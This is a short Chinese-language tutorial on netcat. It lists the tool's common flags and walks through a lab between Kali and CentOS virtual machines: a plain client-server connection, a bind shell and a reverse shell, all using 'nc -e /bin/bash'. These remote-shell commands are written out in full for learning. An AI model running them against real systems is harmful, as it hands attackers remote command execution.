一、nc简介
nc 被称为瑞士军刀netcat ,所做的就是在两台电脑之间建立链接,并返回两个数据流。
可运行在TCP或者UDP模式,添加参数 —u 则调整为UDP,默认为TCP
即可用在windows系统也可在linux系统,也可作用于二者之间,只是对应的命令有微微差异。
二、nc常用参数
- -l 开启监听
- -p 指定一个端口
- -v 显示详细输出
- -e 指定对应的应用程序
- -n nc不要DNS反向查询IP的域名
- -z 连接成功后立即关闭连接
三、建立C-S连接
3.1 环境:
目的在于实现client输入的内容同样显示在server的终端上
client:CentOS7 192.168.124.128
server:kali 192.168.124.133
3.2 步骤:
在server端kali虚拟机上开启监听1234端口:
nc -lvp 1234
在client端虚拟机上执行如下命令后并随便键入内容(如下图所示):
nc -v 192.168.124.133 1234
server端收到相同内容:
四、正向反弹shell
4.1 环境:
目的在于实现kali的shell反弹到CentOS7的终端上,并可在CentOS7上执行命令操作kali
kali监听端口、选择对应的程序,CentOS7连接kali
CentOS7 192.168.124.128
kali 192.168.124.133
4.2 步骤:
在kali上执行:
nc -lvvp 2222 -e /bin/bash
在CentOS7上执行:
nc 192.168.124.133 2222
如上图所示即为连接成功,下面尝试执行命令
五、反向反弹shell
5.1 环境:
目的在于CentOS开启监听端口,然后kali自己将shell反弹给CentOS7,而无需CentOS7去连接kali
kali 192.168.124.133
CentOS 192.168.124.128
5.2 步骤:
CentOS7上开启监听3333端口,等待kali连接并反弹shell:
nc -lvp 3333
kali连接CentOS7并将shell反弹过去 :
nc -e /bin/bash 192.168.124.128 3333
反弹成功
所以正向弹shell是在靶机上监听端口,-e程序,然后攻击者连接
反向弹shell是在攻击者电脑上监听端口,然后靶机-e程序,连接攻击者端口